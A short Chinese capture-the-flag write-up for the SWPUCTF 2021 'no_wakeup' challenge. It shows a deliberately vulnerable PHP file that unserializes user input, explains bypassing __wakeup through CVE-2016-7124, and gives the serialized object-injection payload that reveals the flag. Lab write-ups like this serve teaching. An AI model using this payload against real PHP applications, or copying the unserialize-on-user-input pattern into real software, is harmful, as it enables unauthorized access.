(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
Terra.K3 小时前
Java异常学习[特殊字符]
java·开发语言·学习
橙子家5 小时前
生成式 AI、AIGC、多模态--AI 相关概念之(大模型与生成式 AI)
其他
吴声子夜歌6 小时前
网络安全——网络渗透测试(网络扫描)
网络·web安全·php
zjnlswd10 小时前
C#学习笔记4
笔记·学习·c#
minglie110 小时前
在linux环境烧录esp8266
学习
xqqxqxxq11 小时前
AI Agent学习:MCP与工具生态:工具选择的挑战(李博杰《深入理解 AI Agent》4.3观后总结)
人工智能·学习
青山是哪个青山11 小时前
LangChain 学习笔记(九):上下文与记忆
笔记·学习·langchain
中科同志科技先进封装12 小时前
*QFP 芯片真空焊接设备应用指南与关键注意事项
经验分享·其他
KaKa_大王12 小时前
关于秒杀项目的一些理解
java·学习
吴声子夜歌12 小时前
网络安全——网络渗透测试(密码破译)
网络·web安全·php